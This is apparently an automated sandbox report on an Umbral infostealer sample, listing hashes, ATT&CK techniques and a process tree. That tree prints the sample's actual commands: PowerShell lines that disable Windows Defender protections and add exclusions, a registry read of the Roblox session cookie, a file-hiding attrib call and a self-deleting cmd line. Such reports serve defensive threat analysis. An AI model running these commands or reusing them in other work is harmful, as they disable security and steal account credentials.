umbral | 88fcadc1210e7789f013cd383b241248f5024808ec9b7be746e4fff3d9279035

Analysis

max time kernel
116s
max time network
117s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
13-08-2024 22:27

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General

Target

9c4e92809ffd7ee566bd611107300d60N.exe
Size

229KB
MD5

9c4e92809ffd7ee566bd611107300d60
SHA1

8791a67b7bcf9e789c9f7fc250cfd565e853301c
SHA256

88fcadc1210e7789f013cd383b241248f5024808ec9b7be746e4fff3d9279035
SHA512

718aee3ab5d5b7b6f3c94f8c0b72037e6c972888475789b020c14b69b97324977341494e035b88029cbce30a7f4365e5f785a05b4b73dda088671ec42cef6bb4
SSDEEP

6144:9loZM+rIkd8g+EtXHkv/iD4iOKft74szxKrd4UB1sb8e1mdi:foZtL+EP8iOKft74szxKrd4UBSD

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2660-0-0x000001C93F900000-0x000001C93F940000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4820	powershell.exe
3300	powershell.exe
1340	powershell.exe
1680	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	9c4e92809ffd7ee566bd611107300d60N.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
54	discord.com
55	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
48	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4548	cmd.exe
1268	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1488	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1268	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2660	9c4e92809ffd7ee566bd611107300d60N.exe
4820	powershell.exe
4820	powershell.exe
3300	powershell.exe
3300	powershell.exe
1340	powershell.exe
1340	powershell.exe
2664	powershell.exe
2664	powershell.exe
1680	powershell.exe
1680	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	9c4e92809ffd7ee566bd611107300d60N.exe
Token: SeIncreaseQuotaPrivilege	4032	wmic.exe
Token: SeSecurityPrivilege	4032	wmic.exe
Token: SeTakeOwnershipPrivilege	4032	wmic.exe
Token: SeLoadDriverPrivilege	4032	wmic.exe
Token: SeSystemProfilePrivilege	4032	wmic.exe
Token: SeSystemtimePrivilege	4032	wmic.exe
Token: SeProfSingleProcessPrivilege	4032	wmic.exe
Token: SeIncBasePriorityPrivilege	4032	wmic.exe
Token: SeCreatePagefilePrivilege	4032	wmic.exe
Token: SeBackupPrivilege	4032	wmic.exe
Token: SeRestorePrivilege	4032	wmic.exe
Token: SeShutdownPrivilege	4032	wmic.exe
Token: SeDebugPrivilege	4032	wmic.exe
Token: SeSystemEnvironmentPrivilege	4032	wmic.exe
Token: SeRemoteShutdownPrivilege	4032	wmic.exe
Token: SeUndockPrivilege	4032	wmic.exe
Token: SeManageVolumePrivilege	4032	wmic.exe
Token: 33	4032	wmic.exe
Token: 34	4032	wmic.exe
Token: 35	4032	wmic.exe
Token: 36	4032	wmic.exe
Token: SeIncreaseQuotaPrivilege	4032	wmic.exe
Token: SeSecurityPrivilege	4032	wmic.exe
Token: SeTakeOwnershipPrivilege	4032	wmic.exe
Token: SeLoadDriverPrivilege	4032	wmic.exe
Token: SeSystemProfilePrivilege	4032	wmic.exe
Token: SeSystemtimePrivilege	4032	wmic.exe
Token: SeProfSingleProcessPrivilege	4032	wmic.exe
Token: SeIncBasePriorityPrivilege	4032	wmic.exe
Token: SeCreatePagefilePrivilege	4032	wmic.exe
Token: SeBackupPrivilege	4032	wmic.exe
Token: SeRestorePrivilege	4032	wmic.exe
Token: SeShutdownPrivilege	4032	wmic.exe
Token: SeDebugPrivilege	4032	wmic.exe
Token: SeSystemEnvironmentPrivilege	4032	wmic.exe
Token: SeRemoteShutdownPrivilege	4032	wmic.exe
Token: SeUndockPrivilege	4032	wmic.exe
Token: SeManageVolumePrivilege	4032	wmic.exe
Token: 33	4032	wmic.exe
Token: 34	4032	wmic.exe
Token: 35	4032	wmic.exe
Token: 36	4032	wmic.exe
Token: SeDebugPrivilege	4820	powershell.exe
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	1340	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeIncreaseQuotaPrivilege	1548	wmic.exe
Token: SeSecurityPrivilege	1548	wmic.exe
Token: SeTakeOwnershipPrivilege	1548	wmic.exe
Token: SeLoadDriverPrivilege	1548	wmic.exe
Token: SeSystemProfilePrivilege	1548	wmic.exe
Token: SeSystemtimePrivilege	1548	wmic.exe
Token: SeProfSingleProcessPrivilege	1548	wmic.exe
Token: SeIncBasePriorityPrivilege	1548	wmic.exe
Token: SeCreatePagefilePrivilege	1548	wmic.exe
Token: SeBackupPrivilege	1548	wmic.exe
Token: SeRestorePrivilege	1548	wmic.exe
Token: SeShutdownPrivilege	1548	wmic.exe
Token: SeDebugPrivilege	1548	wmic.exe
Token: SeSystemEnvironmentPrivilege	1548	wmic.exe
Token: SeRemoteShutdownPrivilege	1548	wmic.exe
Token: SeUndockPrivilege	1548	wmic.exe
Token: SeManageVolumePrivilege	1548	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2660 wrote to memory of 4032	2660	9c4e92809ffd7ee566bd611107300d60N.exe	98
PID 2660 wrote to memory of 4032	2660	9c4e92809ffd7ee566bd611107300d60N.exe	98
PID 2660 wrote to memory of 4760	2660	9c4e92809ffd7ee566bd611107300d60N.exe	100
PID 2660 wrote to memory of 4760	2660	9c4e92809ffd7ee566bd611107300d60N.exe	100
PID 2660 wrote to memory of 4820	2660	9c4e92809ffd7ee566bd611107300d60N.exe	102
PID 2660 wrote to memory of 4820	2660	9c4e92809ffd7ee566bd611107300d60N.exe	102
PID 2660 wrote to memory of 3300	2660	9c4e92809ffd7ee566bd611107300d60N.exe	104
PID 2660 wrote to memory of 3300	2660	9c4e92809ffd7ee566bd611107300d60N.exe	104
PID 2660 wrote to memory of 1340	2660	9c4e92809ffd7ee566bd611107300d60N.exe	107
PID 2660 wrote to memory of 1340	2660	9c4e92809ffd7ee566bd611107300d60N.exe	107
PID 2660 wrote to memory of 2664	2660	9c4e92809ffd7ee566bd611107300d60N.exe	109
PID 2660 wrote to memory of 2664	2660	9c4e92809ffd7ee566bd611107300d60N.exe	109
PID 2660 wrote to memory of 1548	2660	9c4e92809ffd7ee566bd611107300d60N.exe	111
PID 2660 wrote to memory of 1548	2660	9c4e92809ffd7ee566bd611107300d60N.exe	111
PID 2660 wrote to memory of 3160	2660	9c4e92809ffd7ee566bd611107300d60N.exe	113
PID 2660 wrote to memory of 3160	2660	9c4e92809ffd7ee566bd611107300d60N.exe	113
PID 2660 wrote to memory of 1552	2660	9c4e92809ffd7ee566bd611107300d60N.exe	115
PID 2660 wrote to memory of 1552	2660	9c4e92809ffd7ee566bd611107300d60N.exe	115
PID 2660 wrote to memory of 1680	2660	9c4e92809ffd7ee566bd611107300d60N.exe	117
PID 2660 wrote to memory of 1680	2660	9c4e92809ffd7ee566bd611107300d60N.exe	117
PID 2660 wrote to memory of 1488	2660	9c4e92809ffd7ee566bd611107300d60N.exe	119
PID 2660 wrote to memory of 1488	2660	9c4e92809ffd7ee566bd611107300d60N.exe	119
PID 2660 wrote to memory of 4548	2660	9c4e92809ffd7ee566bd611107300d60N.exe	121
PID 2660 wrote to memory of 4548	2660	9c4e92809ffd7ee566bd611107300d60N.exe	121
PID 4548 wrote to memory of 1268	4548	cmd.exe	123
PID 4548 wrote to memory of 1268	4548	cmd.exe	123

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4760	attrib.exe

C:\Users\Admin\AppData\Local\Temp\9c4e92809ffd7ee566bd611107300d60N.exe
"C:\Users\Admin\AppData\Local\Temp\9c4e92809ffd7ee566bd611107300d60N.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4032
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\9c4e92809ffd7ee566bd611107300d60N.exe"
  2⤵
  - Views/modifies file attributes
  PID:4760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\9c4e92809ffd7ee566bd611107300d60N.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2664
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1548
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3160
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1680
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1488
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\9c4e92809ffd7ee566bd611107300d60N.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4548
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
15dd61188e01dff83e0f47d441b21af5

SHA1
e26521b9eb5c21dd9b9bfb69618e7c80e4847bc9

SHA256
2f1d635b20401a13d3e43f797200c4b99d2dadbb1e01e6ab8cc5348783b193c6

SHA512
e40ad249392a90107d5448bee92ef45bf9164c2a106a39d2ea7b93ce22fce72af8a6732bac83fef32fbaefd915d51a0143c3e7409e74b17e0ce063c6d32100ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5pzn4fad.gyd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2660-0-0x000001C93F900000-0x000001C93F940000-memory.dmp

Filesize
256KB

Download
memory/2660-35-0x000001C93FE20000-0x000001C93FE70000-memory.dmp

Filesize
320KB

Download
memory/2660-91-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

Filesize
10.8MB

Download
memory/2660-72-0x000001C95A0B0000-0x000001C95A0BA000-memory.dmp

Filesize
40KB

Download
memory/2660-2-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

Filesize
10.8MB

Download
memory/2660-3-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

Filesize
10.8MB

Download
memory/2660-34-0x000001C95A030000-0x000001C95A0A6000-memory.dmp

Filesize
472KB

Download
memory/2660-73-0x000001C95A0E0000-0x000001C95A0F2000-memory.dmp

Filesize
72KB

Download
memory/2660-36-0x000001C93FDF0000-0x000001C93FE0E000-memory.dmp

Filesize
120KB

Download
memory/2660-1-0x00007FFC19133000-0x00007FFC19135000-memory.dmp

Filesize
8KB

Download
memory/4820-4-0x00000294AC660000-0x00000294AC682000-memory.dmp

Filesize
136KB

Download
memory/4820-15-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4820-19-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4820-5-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

Filesize
10.8MB

Download
memory/4820-16-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

Filesize
10.8MB

Download